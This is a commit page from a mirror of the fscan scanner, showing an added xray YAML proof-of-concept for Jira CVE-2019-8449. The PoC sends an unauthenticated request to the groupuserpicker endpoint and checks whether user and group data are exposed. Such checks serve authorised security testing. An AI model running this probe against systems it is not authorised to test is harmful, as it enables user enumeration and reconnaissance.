archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-26 21:21:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

优化xray解析模块,支持groups、新增poc

Browse Source
This commit is contained in:
影舞者
2021-11-16 14:42:35 +08:00
parent 858c28724b
commit b06d7ac94c
313 changed files with 4314 additions and 760 deletions
Download Patch File Download Diff File Expand all files Collapse all files
WebScan/pocs/jira-cve-2019-8449.yml
+10
View File
@@ -0,0 +1,10 @@
name: poc-yaml-jira-cve-2019-8449
rules:
- method: GET
path: /rest/api/latest/groupuserpicker?query=testuser12345&maxResults=50&showAvatar=false
expression: |
response.status == 200 && response.content_type.icontains("json") && response.headers["X-AREQUESTID"] != "" && response.body.bcontains(b"total") && response.body.bcontains(b"groups") && response.body.bcontains(b"header") && response.body.bcontains(b"users")
detail:
author: MaxSecurity(https://github.com/MaxSecurity)
links:
- https://xz.aliyun.com/t/7219